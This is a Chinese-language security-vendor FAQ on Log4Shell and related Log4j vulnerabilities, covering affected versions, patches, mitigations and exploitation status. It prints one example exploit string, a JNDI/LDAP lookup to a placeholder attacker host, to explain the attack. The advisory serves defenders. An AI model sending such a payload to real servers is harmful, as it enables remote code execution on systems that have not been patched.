CVE-2021-44228,CVE-2021-45046,CVE-2021-4104: 有关 Log4Shell 和关联漏洞的常见问题
与 Log4Shell 和相关漏洞相关的常见问题列表。
12 月 18 日更新: Apache 发布了 Log4j 2.17.0 版,并宣布分配了 CVE-2021-45105,这是一个可在非默认配置中可利用的拒绝服务漏洞。本博客已更新此额外信息。
12 月 20 日更新: Tenable 发布了 Windows 和 Linux 审核,以检测建议的缓解措施是否已在无法修补的系统上正确实施。下面提供了更多详细信息。
1 月 4 日更新: Apache 已发布了 Log4j 2.17.1、2.12.4 和 2.3.2 来解决新漏洞 CVE-2021-44832。 有关更多信息,请参阅 Tenable Community 中的此博文。
背景
在 12 月 9 日发现名为 Log4Shell 的 Apache Log4j 漏洞后,安全响应团队汇集了下列博文来回答有关 Log4Shell 的常见问题 (FAQ) 以及 Log4j 中新披露的漏洞。
常见问题
什么是 Log4j?
Log4j 是 Apache 日志记录服务中包含的一个广泛使用的 Java 日志记录库。它用于记录来自应用程序或服务的消息,通常用于调试用途。
什么是 CVE-2021-44228?
CVE-2021-44228 是 Apache Log4j 2.0 到 2.14.1 中的远程代码执行 (RCE) 漏洞。安全研究人员将其命名为 Log4Shell。
如何利用 CVE-2021-44228?
未经身份验证的远程攻击者可以通过向运行漏洞版 log4j 的服务器发送精心编制的请求来利用此缺陷。这可以通过将漏洞利用字符串提交到网站的文本字段中,或者通过在发往有漏洞服务器的 HTTP 标头中包含漏洞利用字符串来实现。如果有漏洞的服务器使用 log4j 记录请求,该漏洞利用将通过各种服务上的 Java 命名和目录接口 (JNDI) ,例如轻量级目录访问协议(LDAP),从攻击者控制的服务器请求恶意有效负载。
漏洞利用的例子如下所示:
${jndi:ldap://attackersite.com/exploit.class}
如果漏洞被利用会发生什么?
有漏洞的 log4j 库会从攻击者控制的服务器请求并执行恶意负载。
迄今为止,我们会在现实环境中观察到任何攻击吗?
攻击者已经以各种方式使用 Log4Shell:
- 加密货币挖矿软件 (cryptominers)
- 分布式拒绝服务 (DDoS) 僵尸网络
- 勒索软件
有报告显示,民族国家集团和初始访问中介已经开始利用此缺陷,这意味着,我们预计高级持续性威胁 (APT) 集团和勒索软件攻击者不久就有可能利用此缺陷。
为何 Log4Shell 如此重要?
在许多产品和服务中,Log4j 是一个用于日志记录而广泛使用的库,因此会造成巨大的攻击面。利用 Log4Shell 很简单,GitHub 上就有现成的概念验证代码。 最后,因为许多企业并不了解该库在其所使用的产品和服务中的普遍程度,所以这有可能会造成长期影响。
在 Log4j 2.15.0 中解决了 Log4Shell 漏洞吗?
没有,Apache 发布了 Log4j 2.16.0 来解决 Log4Shell 没有完全修复的问题。 Apache 为此未完全修复的漏洞分配了一个新 CVE:CVE-2021-45046。
什么是 CVE-2021-45046?
最初 CVE-2021-45046 在 Apache Log4j 2.0 到 2.15.0 中报告为拒绝服务漏洞,此后升级为 RCE 漏洞。在特定非默认配置下,使用上下文查找(例如 : $${ctx:loginId})时,使用恶意输入数据精心编制 JNDI 查找的攻击者将能够使用 Log4j 2 在有漏洞的服务器上造成拒绝服务情况或实现 RCE。
Log4Shell 的缓解措施是否适用于 CVE-2021-45046?
否。根据 Apache 的说法,之前针对 CVE-2021-44228 所采取的缓解措施,即将 formatMsgNoLookups 设置为 true,总体而言缓解效果不彰。该指导无法解决消息查找中可能会出现的其他代码路径。正因为如此,Apache 现在建议升级到 Log4j 的安全版本,即从 2.16.0 开始以及 2.12.2(适用于 Java 7)。如果无法升级,Apache 建议删除 JndiLookup 类路径。
Log4j 2.16.0 版本实际上做了什么?
根据版本说明,Apache 选择通过删除消息查找和默认禁用 JNDI 来强化 Log4j。
我的企业使用 Java 7 且我们无法升级到 Log4j 2.16.0。我们该怎么做?
Apache 发布了 Log4j 2.12.2 来解决 Java 7 的 CVE-2021-45046。如果无法立即修补,Apache 建议从类路径中删除 JndiLookup 类。Apache 文档中提供了删除此类路径方法的指导。
什么是 CVE-2021-45105?
CVE-2021-45105 是 Apache Log4j 中新发布的拒绝服务 (DoS) 漏洞。该漏洞会在非默认配置中进行利用。攻击者可以发送包含精心编制的递归查找请求来进行功能,这可能造成 DoS 情况。为解决此漏洞,Apache 发布了 Log4j 版本 2.17.0。 此外,Apache 还对无法立即升级的客户提供了缓解措施选项。我们建议经常查看 Apache 的安全公告页面,因为随着最新的事态发展,可能会持续对建议的缓解措施进行更新。
Log4j 1.x 是否有漏洞?
我们会提供有关 Log4Shell 的很多信息。在此博文发布时,Apache 表示,在配置 Log4j 使用 JMSAppender 时,Log4j 1.2 就受到类似的攻击,这不是默认配置的一部分,但并非特别易受 CVE-2021-44228 攻击。Log4j 1.2 中的这个漏洞已分配了 CVE-2021-4104。
Log4j 1.2 有可用补丁吗?
没有,Log4j 分支 1.x 已到达其生命周期结束 (EOL) 状态,因此不会接收安全更新。用户可以升级到 Log4j 2.12.2(适用于 Java 7)或 2.16.0 或更高版本。
我如何解决 CVE-2021-4104?
可以使用一些缓解措施选项来防止 CVE-2021-4104 漏洞利用。
- 不要在 Log4j 配置中使用 JMSAppender
- 删除 JMSAppender 类文件 (org/apache/log4j/net/JMSAppender.class)
- 限制操作系统用户访问权限,防止攻击者修改 Log4j 配置
现在我们对所有这些漏洞有何了解?
这是我们截至 12 月 18 日所了解的信息:
- 对影响 Log4j 的漏洞分配了四个 CVE
CVE | 漏洞类型 | 受影响的 Log4j 版本 | 非默认配置 |
---|---|---|---|
CVE-2021-44228 | RCE | 2.0 到 2.14.1 | 不会产生 |
CVE-2021-45046 | 拒绝服务 (DoS) 和 RCE | 2.0 到 2.15.0 | 是 |
CVE-2021-4104 | RCE | 1.2* | 是 |
CVE-2021-45105 | 拒绝服务 (DoS) | 2.0-beta9 到 2.16.0 | 是 |
- 只有当 Log4j 版本 2.0 到 2.14.1 作为库包含在应用程序和服务中时,CVE-2021-44228 才能进行现成的漏洞利用
- CVE-2021-45046、CVE-2021-4104 和 CVE-2021-45105 仅出现在某些非默认配置中
- CVE-2021-4104 将不会进行修补,因为 Log4j 1.x 分支的生命周期已结束
解决这些漏洞的修复版 Log4j 有哪些?
Log4j 版本 | Java 版本 | 版本可用性 |
---|---|---|
2.17.0 | Java 8 | 是 |
2.16.0 | Java 8 | 是 |
2.12.2 | Java 7 | 是 |
1.2 | - | 否(生命周期结束) |
这些漏洞被利用可能性有多高?
下表概要说明了漏洞的可利用性以及是否已经被利用。
CVE | 漏洞利用的可能性 | 已遭漏洞利用 |
---|---|---|
CVE-2021-44228 | 高 | 是 |
CVE-2021-45046 | 低 | 不会产生 |
CVE-2021-4104 | 低 | 不会产生 |
CVE-2021-45105 | 低 | 不会产生 |
Tenable 易受 Log4j 中任何漏洞的攻击吗?
Tenable CISO Bob Huber 已发布了一个完整声明,请参阅此处。
我/我的公司可以通过哪些方式识别 Log4j 中的这些漏洞?
Tenable 已为我们的产品发布了许多插件、扫描模板和仪表盘(Tenable.io、Tenable.sc)。
无法立即修补这些漏洞的客户可以使用 CVE-2021-44228/CVE-2021-45046 审核来检测是否在其系统上正确应用了 Log4j 解决方法的缓解措施。有关这些审核的详细说明请参阅此处。
什么是 CVE-2021-44832?
CVE-2021-44832 是在 Log4j 中发现的一个新漏洞,最近已由 Apache 修补。因为利用该缺陷需要一些先决条件,所以利用该缺陷的可能性较小。有关此漏洞的更多信息,请参阅 Tenable Community 上的此博文。
获取更多信息
- Tenable 针对 Log4Shell 的专用资源页面
- Tenable 有关 CVE-2021-44228 (Log4Shell) 的博客
- Tenable Community Log4Shell 资源和常见问题
加入 Tenable Community 中的 Tenable 安全响应团队
了解有关 Tenable 这款首创 Cyber Exposure 平台的更多信息,全面管理现代攻击面。
获取 30 天免费试用版 Tenable.io Vulnerability Management。
相关文章
- Vulnerability Management